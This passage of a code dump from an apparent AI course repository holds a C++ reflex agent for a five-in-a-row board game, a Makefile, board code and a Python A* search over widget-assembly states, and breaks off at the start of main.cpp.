negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i+4, j-4)){\n\t\t\t\t\tboard->play_piece(i+4, j-4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i-1, j+1)){\n\t\t\t\t\tboard->play_piece(i-1, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i-3, j+3, this->opponent_) == 4){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-4, j+4)){\n\t\t\t\t\tboard->play_piece(i-4, j+4, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j-1)){\n\t\t\t\t\tboard->play_piece(i+1, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn oppCanWin;\n}\n\n\nbool ReflexAgent::oppThreeInRow(Board* board)\n{\n\n\tbool oppThree = false;\n\tfor(int i=0; i<BOARD_SIZE; i++){\n\t\tfor(int j=0; j<BOARD_SIZE; j++){\n\t\t\tif(searchBoard(board, i, j, i+2, j, this->opponent_) == 3){ //winning horizontal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-1, j)){\n\t\t\t\t\tboard->play_piece(i-1, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+3, j)){\n\t\t\t\t\tboard->play_piece(i+3, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i-2, j, this->opponent_) == 3){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-3, j)){\n\t\t\t\t\tboard->play_piece(i-3, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j)){\n\t\t\t\t\tboard->play_piece(i+1, j, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j+2, this->opponent_) == 3){ //winning vertical move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i, j-1)){\n\t\t\t\t\tboard->play_piece(i, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i, j+3)){\n\t\t\t\t\tboard->play_piece(i, j+3, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j-2, this->opponent_) == 3){ //winning negative vertical move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i, j-3)){\n\t\t\t\t\tboard->play_piece(i, j-3, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i, j+1)){\n\t\t\t\t\tboard->play_piece(i, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i+2, j+2, this->opponent_) == 3){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-1, j-1)){\n\t\t\t\t\tboard->play_piece(i-1, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+3, j+3)){\n\t\t\t\t\tboard->play_piece(i+3, j+3, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i-2, j-2, this->opponent_) == 3){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-3, j-3)){\n\t\t\t\t\tboard->play_piece(i-3, j-3, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j+1) ) {\n\t\t\t\t\tboard->play_piece(i+1, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i+2, j-2, this->opponent_) == 3){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i+3, j-3)){\n\t\t\t\t\tboard->play_piece(i+3, j-3, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i-1, j+1)){\n\t\t\t\t\tboard->play_piece(i-1, j+1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoardDiag(board, i, j, i-2, j+2, this->opponent_) == 3){ //winning negative horizonatal move\n\t\t\t\t//oppCanWin = true;\n\t\t\t\tif(board->unoccupied(i-3, j+3)){\n\t\t\t\t\tboard->play_piece(i-3, j+3, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if(board->unoccupied(i+1, j-1)){\n\t\t\t\t\tboard->play_piece(i+1, j-1, this->player_);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn oppThree;\n}\n\n\nbool ReflexAgent::playGame(Board* board)\n{\n\t//check if you have winning move\n\tbool gameOver = false;\n\tif(winningMove(board)){\n\t\tprintf(\"Made winning move\\n\");\n\t\tgameOver = true;\n\t}\n\telse if(oppFourInRow(board)){\n\t\tprintf(\"Stopped opponent from winning\\n\");\n\t\tgameOver = false;\n\t}\n\telse if(oppThreeInRow(board)){\n\t\tprintf(\"Stopped opponent three in a row\\n\");\n\t\tgameOver = false;\n\t}\n\t\n\telse{\n\t\tint* winningBlock = findWinningBlock(board);\n\t\tplaceStone(board, winningBlock);\n\t\tdelete winningBlock;\n\t\tprintf(\"found potential winning block\\n\");\n\t\tgameOver = false;\n\t}\n\n\treturn gameWon(board);\n\n}\n\n\t\t\t\t//count number of your stones in that block\n\t\t\t\t//if current block score > max block score, \n\t\t\t\t//winningbloack equals vecotr of start, end, \n\t\t\t\t//block scroe = search board in range\n\t\t\t\t//go back and look thorugh winning block to see hwere to place the stone\n\t\t\t\t//\nint* ReflexAgent::findWinningBlock(Board* board)\n{\n\tint* block = new int[4];\n \t \t\n\tint maxScore = 0;\n\n\tfor(int i=0; i<BOARD_SIZE; i++){\n\t\tfor(int j=0; j<BOARD_SIZE; j++){\n\t\t\tif(searchBoard(board, i, j, i+4, j, this->opponent_) == 0){\n\t\t\t\t//printf(\"hit 1 %d %d\\n\", i, j);\n\t\t\t\tint curScore = searchBoard(board, i, j, i+4, j, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\t//printf(\"hit 2 %d %d\\n\", i, j);\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i+4;\n\t\t\t\t\tblock[3] = j;\n\t\t\t\t\t// = {i,j,i+4, j};\n\t\t\t\t\t//vector<int>* winningBlock = new (arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\n\t\t\t\t\t//block = new std::vector<int>(arr, arr+4);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i-4, j, this->opponent_) == 0){\n\t\t\t\tint curScore = searchBoard(board, i, j, i-4, j, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i-4;\n\t\t\t\t\tblock[3] = j;\n\t\t\t\t\t//block = {i, j, i-4, j};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\t\t\t\t\n\t\t\t\t\t//block = new std::vector<int>(arr, arr+4);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j+4, this->opponent_) == 0){\n\t\t\t\tint curScore = searchBoard(board, i, j, i, j+4, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i;\n\t\t\t\t\tblock[3] = j+4;\n\t\t\t\t\t//block = {i, j, i, j+4};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\t\t\t\t\n\t\t\t\t\t//block = new std::vector<int>(arr, arr+4);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i, j-4, this->opponent_) == 0){\n\t\t\t\tint curScore = searchBoard(board, i, j, i, j-4, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i;\n\t\t\t\t\tblock[3] = j-4;\n\t\t\t\t\t//block = {i, j, i, j-4};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\t\t\t\n\t\t\t\t\t//block = new std::vector<int>(arr, arr+4);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i+4, j+4, this->opponent_) == 0){\n\t\t\t\tint curScore = searchBoardDiag(board, i, j, i+4, j+4, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i+4;\n\t\t\t\t\tblock[3] = j+4;\n\t\t\t\t\t//int arr[] = {i, j, i+4, j-4};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\t\t\t\n\t\t\t\t}\t\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i-4, j-4, this->opponent_)==0){\n\t\t\t\tint curScore = searchBoardDiag(board, i, j, i-4, j-4, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i-4;\n\t\t\t\t\tblock[3] = j-4;\n\t\t\t\t\t//int arr[] = {i,j,i-4,j-4};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i+4, j-4, this->opponent_) == 0){\n\t\t\t\tint curScore = searchBoardDiag(board, i, j, i+4, j-4, this->player_);\n\t\t\t\tif(curScore > maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i+4;\n\t\t\t\t\tblock[3] = j-4;\n\t\t\t\t\t//int arr[] = {i, j, i+4, j-4};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\t\t\t\n\t\t\t\t}\t\n\t\t\t}\n\t\t\tif(searchBoard(board, i, j, i-4, j+4, this->opponent_)==0){\n\t\t\t\tint curScore = searchBoardDiag(board, i, j, i-4, j+4, this->player_);\n\t\t\t\tif(curScore> maxScore){\n\t\t\t\t\tmaxScore = curScore;\n\t\t\t\t\tblock[0] = i;\n\t\t\t\t\tblock[1] = j;\n\t\t\t\t\tblock[2] = i-4;\n\t\t\t\t\tblock[3] = j+4;\n\t\t\t\t\t//int arr[] = {i,j,i-4,j+4};\n\t\t\t\t\t//vector<int> winningBlock(arr, arr+4);\n\t\t\t\t\t//block = winningBlock;\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}\n\treturn block;\n}\n\n\n//keep track of current best winning bloack score\n\nvoid ReflexAgent::placeStone(Board* board, int* winningBlock)\n{\n\n\n\tint startRow = winningBlock[0]; int startCol = winningBlock[1];\n\tint endRow = winningBlock[2]; int endCol = winningBlock[3];\n\n\tint dRow = 0;\n\tint dCol = 0;\n\tif(startRow < endRow){\n\t\tdRow = 1;\n\t}\n\tif(startRow > endRow){\n\t\tdRow = -1;\n\t}\n\tif(startCol < endCol){\n\t\tdCol = 1;\n\t}\n\tif(startCol > endCol){\n\t\tdCol = -1;\n\t}\n\n\tfor(int i=0; i < 5; i++){\n\t\tif(board->unoccupied(startRow, startCol)){\n\t\t\tboard->play_piece(startRow,startCol,this->player_);\n\t\t\treturn;\t\n\t\t}\t\n\t\tstartRow += dRow;\n\t\tstartCol += dCol;\n\t}\n\t/**\n\tif(startRow == endRow || startCol == endCol){\n\t\tfor(int x=startRow; x<=endRow; x++){\n\t\t\tfor(int y=startCol; y<=endCol; y+board->unoccupied(x, y)){\n\t\t\t\t\tboard->play_piece(x,y,this->player_);\n\t\t\t\t\treturn;\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\telse{\n\t\tint diagLength = startRow - endRow;\n\t\tif(startRow > endRow){ //east diag\n\t\t\tif(startCol > endCol){ //southeast diag\n\t\t\t\tfor(int i=0; i<diagLength; i++board->unoccupied(startRow+i, startCol+i)){\n\t\t\t\t\t\tboard->play_piece(startRow+i, startCol+i, this->player_);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(startCol < endCol){ //northeast\n\t\t\t\tfor(int i=0; i<diagLength; i++board->unoccupied(startRow-i, startCol+i)){\n\t\t\t\t\t\tboard->play_piece(startRow-i, startCol+i, this->player_);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if(startRow < endRow){ //west diag\n\t\t\tif(startCol > endCol){ //southwest diag\n\t\t\t\tfor(int i=0; i<diagLength; i++board->unoccupied(startRow-i, startCol-i)){\n\t\t\t\t\t\tboard->play_piece(startRow-i, startCol-i, this->player_);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(startCol < endCol){ //northwest\n\t\t\t\tfor(int i=0; i<diagLength; i++board->unoccupied(startRow+i, startCol-i)){\n\t\t\t\t\t\tboard->play_piece(startRow+i, startCol-i, this->player_);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\t}*/\n}\n\nchar ReflexAgent::getPlayer(){\n\treturn this->player_;\n}\n\nint ReflexAgent::searchBoard(Board* board, int startRow, int startCol, int endRow, int endCol, char player)\n{\n\n\tif(endRow >= BOARD_SIZE || endCol >= BOARD_SIZE || endRow < 0 || endCol < 0){\n\t\treturn 0;\n\t}\n\n\tint count = 0; \n\tint dRow = 0;\n\tint dCol = 0;\n\tif(startRow < endRow){\n\t\tdRow = 1;\n\t}\n\tif(startRow > endRow){\n\t\tdRow = -1;\n\t}\n\tif(startCol < endCol){\n\t\tdCol = 1;\n\t}\n\tif(startCol > endCol){\n\t\tdCol = -1;\n\t}\n\n\tint dist = abs(startRow-endRow);\n\tif(abs(startCol-endCol) > dist){\n\t\tdist = abs(startCol-endCol);\n\t}\n\n\tint i = startRow;\n\tint j = startCol;\n\tfor(int k=0; k <= dist; k++){\n\t\tif(((isupper(board->boardState(i,j)) && isupper(player))) || ((islower(board->boardState(i,j)) && islower(player)))){\n\t\t\t\tcount += 1;\n\t\t}\n\t\ti += dRow;\n\t\tj += dCol;\n\t}\n\treturn count;\n}\n\n\n//check if abs startx-endx = abs starty-endy\n//have an offset for(offest in range)\n//length of daig is startrow-endrow\n//chech which direction to go->\n//if going to bottom right: for(i=0l i<length run;i++) => heck startrow+i, start col+i\n//check direction of run w/if else\n//if top left: startrow<end row & start col > end col\n//one outermost if statemen\n//in then: another if=> in else antoher\n//if stary<endy +. if startx < endx\n//else if startx < endx\nint ReflexAgent::searchBoardDiag(Board* board, int startRow, int startCol, int endRow, int endCol, int player)\n{\n\treturn searchBoard(board, startRow, startCol, endRow, endCol, player);\n\t/*\n\tif(endRow >= BOARD_SIZE || endCol >= BOARD_SIZE || endRow < 0 || endCol < 0){\n\t\treturn 0;\n\t}\n\tint count = 0;\n\tint diagLength = startRow - endRow;\n\tif(startRow > endRow){ //east diag\n\t\tif(startCol > endCol){ //southeast diag\n\t\t\tfor(int i=0; i<diagLength; i++){\n\t\t\t\tif(isupper(board->boardState(startRow+i, startCol+i)) == isupper(player) || islower(board->boardState(startRow+i, startCol+i)) == islower(player)){\n\t\t\t\t\tcount += 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(startCol < endCol){ //northeast\n\t\t\tfor(int i=0; i<diagLength; i++){\n\t\t\t\tif(isupper(board->boardState(startRow-i, startCol+i)) == isupper(player) || islower(board->boardState(startRow-i, startCol+i)) == islower(player)){\n\t\t\t\t\tcount += 1;\n\t\t\t\t}\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\telse if(startRow < endRow){ //west diag\n\t\tif(startCol > endCol){ //southwest diag\n\t\t\tfor(int i=0; i<diagLength; i++){\n\t\t\t\tif(isupper(board->boardState(startRow-i, startCol-i)) == isupper(player) || islower(board->boardState(startRow-i, startCol-i)) == islower(player)){\n\t\t\t\t\tcount += 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(startCol < endCol){ //northwest\n\t\t\tfor(int i=0; i<diagLength; i++){\n\t\t\t\tif(isupper(board->boardState(startRow+i, startCol-i)) == isupper(player) || islower(board->boardState(startRow+i, startCol-i)) == islower(player)){\n\t\t\t\t\tcount += 1;\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}\n\telse{\n\t\treturn 0;\n\t}\n\n\treturn count;*/\n}\n\n" }, { "alpha_fraction": 0.671480119228363, "alphanum_fraction": 0.6811071038246155, "avg_line_length": 25, "blob_id": "7b219cb916c9d5fc915c5eb2eb4d48a4ca298ee4", "content_id": "ffbd5ee8b2ffe664e3b6ab663f77a4080462eed6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 831, "license_type": "no_license", "max_line_length": 71, "num_lines": 32, "path": "/Makefile", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "EXENAME = main\nOBJS = main.o board.o ReflexAgent.o stateNode.o evaluationAgent.o\n\nCXX = clang++\nCXXFLAGS = -std=c++14 -c -g -O0 -Wall -Wextra -pedantic\n#CXXFLAGS = -std=c++1y -stdlib=libc++ -c -g -O0 -Wall -Wextra -pedantic\nLD = clang++\n#LDFLAGS = -std=c++1y -stdlib=libc++ -lc++abi -lpthread -lm\nLDFLAGS = -std=c++14 -lc++abi -lpthread -lm\n\nall : $(EXENAME)\n\n$(EXENAME) : $(OBJS)\n\t$(LD) $(OBJS) $(LDFLAGS) -o $(EXENAME)\n\nmain.o : main.cpp board.h ReflexAgent.h evaluationAgent.h\n\t$(CXX) $(CXXFLAGS) main.cpp\n\nstateNode.o : stateNode.cpp board.h\n\t$(CXX) $(CXXFLAGS) stateNode.cpp\n\nevaluationAgent.o : evaluationAgent.cpp stateNode.h board.h\n\t$(CXX) $(CXXFLAGS) evaluationAgent.cpp\n\nboard.o : board.cpp\n\t$(CXX) $(CXXFLAGS) board.cpp\n\nReflexAgent.o : ReflexAgent.cpp board.h\n\t$(CXX) $(CXXFLAGS) ReflexAgent.cpp\n\nclean :\n\trm *o main.o" }, { "alpha_fraction": 0.6020478010177612, "alphanum_fraction": 0.6426621079444885, "avg_line_length": 21.351144790649414, "blob_id": "ff1fbee49fd9c03a6f93e97c0855e555733aa125", "content_id": "effde82fd1b002c766f882efd439cf85e9c8dcb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2930, "license_type": "no_license", "max_line_length": 78, "num_lines": 131, "path": "/state.py", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "DIST_MAT = [[10000, 1064, 673, 1401, 277],\n\t\t[1064, 10000, 958, 1934, 337],\n\t\t[673, 958, 10000, 1001, 399],\n\t\t[1401, 1934, 1001, 10000, 387],\n\t\t[277, 337, 399, 387, 10000]]\n\nMIN_DIST = 277\n\nW = [\"AEDCA\",\n\t \"BEACD\",\n\t \"BABCE\",\n\t \"DADBD\",\n\t \"BECBD\"]\n\nLENGTH = 5\n\nUNIT_DIST = False\n\n'''\nClass that represents the current state of the problem.\nMost importantly the progress on each of the 5 widgets,\nand the current location\n'''\nclass StateNode():\n\tdef __init__(self):\n\t\tself.progress = [0,0,0,0,0]\n\t\tself.loc = None\n\t\tself.cost = 0\n\t\tself.parent = None\n\t\tself.heur = None\n\n\t'''\n\tCopies data from targ to self and makes targ the parent of self\n\t'''\n\tdef copy(self, targ):\n\t\tfor i in range(LENGTH):\n\t\t\tself.progress[i] = targ.progress[i]\n\t\tself.loc = targ.loc\n\t\tself.cost = targ.cost\n\t\tself.heur = targ.heur\n\t\tself.parent = targ\n\n\n\t'''\n\tReturns matrix distance between two locations given as a two character string\n\t'''\n\tdef dist(self, pair):\n\t\ta = ord(pair[0]) - 0x41\n\t\tb = ord(pair[1]) - 0x41\n\t\treturn DIST_MAT[a][b]\n\n\t'''\n\tMoves to a new location and updates the progress.\n\tAlso clears heur value as it may change upon moving to a new node\n\t'''\n\tdef move(self, dest):\n\t\tself.heur = None\n\t\tif UNIT_DIST:\n\t\t\tself.cost += 1\n\t\telse:\n\t\t\tif self.loc != None:\n\t\t\t\tself.cost += self.dist(self.loc+dest)\n\t\tself.loc = dest\n\t\tfor i in range(LENGTH):\n\t\t\tif self.progress[i] < LENGTH:\n\t\t\t\tif W[i][self.progress[i]] == dest:\n\t\t\t\t\tself.progress[i] = self.progress[i] + 1\n\n\t'''\n\tReturns true if a completed state\n\t'''\n\tdef complete(self):\n\t\tresult = True\n\t\tfor i in range(LENGTH):\n\t\t\tif self.progress[i] != LENGTH:\n\t\t\t\tresult = False\n\t\treturn result\n\n\t'''\n\tReturns a list of StateNodes \"moves\" that can be transitioned to\n\t'''\n\tdef get_transitions(self):\n\t\tmoves = []\n\t\tchars = set()\n\t\tfor i in range(LENGTH):\n\t\t\tif(self.progress[i] < LENGTH):\n\t\t\t\tchars.add(W[i][self.progress[i]])\n\t\tfor char in list(chars):\n\t\t\ttemp = StateNode()\n\t\t\ttemp.copy(self)\n\t\t\ttemp.move(char)\n\t\t\tmoves.append(temp)\n\t\treturn moves\n\n\t'''\n\tCalculates a heuristic based on unique transitions remaining.\n\tIt will calculate it if it is still set to None from initialization,\n\totherwise \n\t'''\n\tdef heuristic(self):\n\t\t# First time of execution it actually calculates it\n\t\tif self.heur == None:\n\t\t\ttrans = set()\n\t\t\tmini = 5\n\t\t\tfor i in range(LENGTH):\n\t\t\t\tmini = min(self.progress[i],mini)\n\t\t\t\tfor j in range(self.progress[i],LENGTH-1):\n\t\t\t\t\ttrans.add(W[i][j:j+1])\n\t\t\tif UNIT_DIST:\n\t\t\t\tself.heur = max(5-mini,len(trans)) + self.cost\n\t\t\telse:\n\t\t\t\tself.heur = max(5-mini,len(trans))*MIN_DIST + self.cost\n\t\t# In future calls it references a saved value\t\t\n\t\treturn self.heur\n\n\t'''\n\tReturns string of the path up to this point\n\t'''\n\tdef get_path(self):\n\t\tif self.loc == None:\n\t\t\treturn \"\"\n\t\tbase = \"\"\n\t\tif self.parent != None and self.parent.loc != None:\n\t\t\tbase = self.parent.get_path()\n\t\treturn base+self.loc\n\n\t'''\n\tReturns distance cost\n\t'''\n\tdef get_cost(self):\n\t\treturn self.cost\n\n\n" }, { "alpha_fraction": 0.6767441630363464, "alphanum_fraction": 0.7093023061752319, "avg_line_length": 19.5238094329834, "blob_id": "dc4ecac161becf56065a02d9db6bf306bcc2e94f", "content_id": "70362c2bf716cd00f82b4861ab16d0655d20649e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 430, "license_type": "no_license", "max_line_length": 89, "num_lines": 21, "path": "/stateNode.h", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#include \"board.h\"\n\n#define NEGATIVE_INFINITY -1000000\n#define INFINITY \t\t\t1000000\n/**\n * Node to be used in minimax/Alpha-beta tree by evaluationAgent\n * Also contains the row and column corresponding to the piece being played at that node\n *\n */\nclass StateNode\n{\npublic:\n\tStateNode(bool isMax_in, Board* state_in);\n\t~StateNode();\n\n\tBoard* board;\n\tint row; //best option\n\tint col; //best option\n\tint value;\n\tbool isMax;\n};" }, { "alpha_fraction": 0.5924548506736755, "alphanum_fraction": 0.6041445136070251, "avg_line_length": 15.5, "blob_id": "e8d46e94e5e17c7d6bad3be8092b91960cbf045b", "content_id": "c05f1a5c4a7f03b527d7ce56194f258d134d952f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1882, "license_type": "no_license", "max_line_length": 66, "num_lines": 114, "path": "/board.cpp", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#include \"board.h\"\n#include <vector>\n#include <iostream>\n\nusing namespace std;\n\n\n#define PLAYER_1 'a'\n#define PLAYER_2 'A'\n\n#define BOARD_SIZE 7\n\n#define UNPLAYED '.'\n#define RED_CHIP 'R'\n#define BLUE_CHIP 'B'\n\n\nBoard::Board(){\n\tinitGame();\n\tthis->p1_progress = PLAYER_1;\n\tthis->p2_progress = PLAYER_2;\n}\n\n/**\n * Converts player value to proper char\n */\nchar Board::getChar(char val){\n\treturn val++;\n\t/*\n\tif(val == RED_CHIP){\n\t\treturn 'R';\n\t} else if (val == BLUE_CHIP) {\n\t\treturn 'B';\n\t}\n\treturn ' ';\n\t*/\n}\n\nvoid Board::updateState(int row, int col, char update)\n{\n\tthis->state[row][col] = update;\n}\n\n/**\n * My init method using the class variable\n */\nvoid Board::initGame() {\n\tfor(int i=0; i<BOARD_SIZE; i++){\n\t\tfor(int j=0; j<BOARD_SIZE; j++){\n\t\t\tthis->state[i][j] = UNPLAYED;\n\t\t}\n\t}\n\n\tthis->currPlayer = PLAYER_1;\n}\n\nvoid Board::setPlayer(char player){\n\tthis->currPlayer = player;\n}\n\nint Board::boardState(int row, int col)\n{\n\tint state_ = this->state[row][col];\n\treturn state_;\n}\n\n/**\n * Prints the state of the board to the terminal \n */\nvoid Board::printBoard()\n{\n\tprintf(\"\\n\");\n\tfor (int i = 0; i < BOARD_SIZE; i++){\n\t\tfor (int j = 0; j < BOARD_SIZE; j++){\n\t\t\tprintf(\"%c\", this->state[i][j]);\n\t\t}\n\t\tprintf(\"\\n\");\n\t}\n\t\n}\n\n/**\n * returns true if location is availible and valid\n */\nbool Board::unoccupied(int row, int col)\n{\n\tif(row < 0 || col < 0 || row >= BOARD_SIZE || col >= BOARD_SIZE){\n\t\treturn false;\n\t}\n\tif(this->state[row][col] == '.'){\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}\n\nvoid Board::play_piece(int row, int col, char player){\n\tif(player == PLAYER_1){\n\t\tthis->state[row][col] = p1_progress;\n\t\tp1_progress++;\n\t} else {\n\t\tthis->state[row][col] = p2_progress;\n\t\tp2_progress++;\n\t}\n}\n\nvoid Board::unplay_piece(int row, int col, char player){\n\tthis->state[row][col] = UNPLAYED;\n\tif(player == PLAYER_1){\n\t\tp1_progress--;\n\t} else {\n\t\tp2_progress--;\n\t}\n}\n\n" }, { "alpha_fraction": 0.6383763551712036, "alphanum_fraction": 0.6457564830780029, "avg_line_length": 24.40625, "blob_id": "90623fa4be9d6cd34f2a5514db6ea749def8bbce", "content_id": "f2a02f7929f5e992d615a4beac0e772714702e1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 813, "license_type": "no_license", "max_line_length": 102, "num_lines": 32, "path": "/main.py", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "from state import *\nfrom heap import *\nfrom environment import Environment\n\n\ndef astar_search():\n\th = StateHeap()\n\tenv = Environment()\n\tnodes = 0\n\t# Sets up the first set of initial positions\n\tstate = StateNode()\n\twhile not state.complete():\n\t\t#if env.visited(state) == False:\n\t\t#env.visit(state)\n\t\tif nodes%10 == 0:\n\t\t\tprint(\"Total: \"+str(state.heuristic())+\", \"+str(state.heuristic()-state.cost)+\", \"+str(state.cost))\n\t\tmoves = state.get_transitions()\n\t\tnodes += 1\n\t\tfor m in moves:\n\t\t\th.heappush(m)\n\t\tif len(h.heap) == 0 :\n\t\t\tprint(\"A* Failure at \"+str(nodes)+\" nodes expanded\")\n\t\t\treturn\n\t\tstate = h.heappop()\n\tprint(str(nodes)+\" nodes expanded to find solution\")\t\t\t\n\treturn state\n\n\nif __name__ == \"__main__\":\n\tnode = astar_search()\n\tprint(\"Solution: \"+ node.get_path())\n\tprint(\"Cost: \"+str(node.get_cost()))\n" }, { "alpha_fraction": 0.657608687877655, "alphanum_fraction": 0.689130425453186, "avg_line_length": 18.595745086669922, "blob_id": "050f16c82510a4edc2a51196f220658521e68ee3", "content_id": "81bd0a3c3c3eb4f4485a63dcd5a19031c5a1566b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 920, "license_type": "no_license", "max_line_length": 72, "num_lines": 47, "path": "/main.cpp", "repo_name": "okijose2/CS440-ECE448", "src_encoding": "UTF-8", "text": "#include \"board.h\"\n#include \"ReflexAgent.h\"\n#include \"evaluationAgent.h\"\n#include <vector>\nusing namespace std;\n\n#define PLAYER_1 'a'\n#define PLAYER_2 'A'\n\n#define BOARD_SIZE 7\n\n#define UNPLAYED '.'\n#define 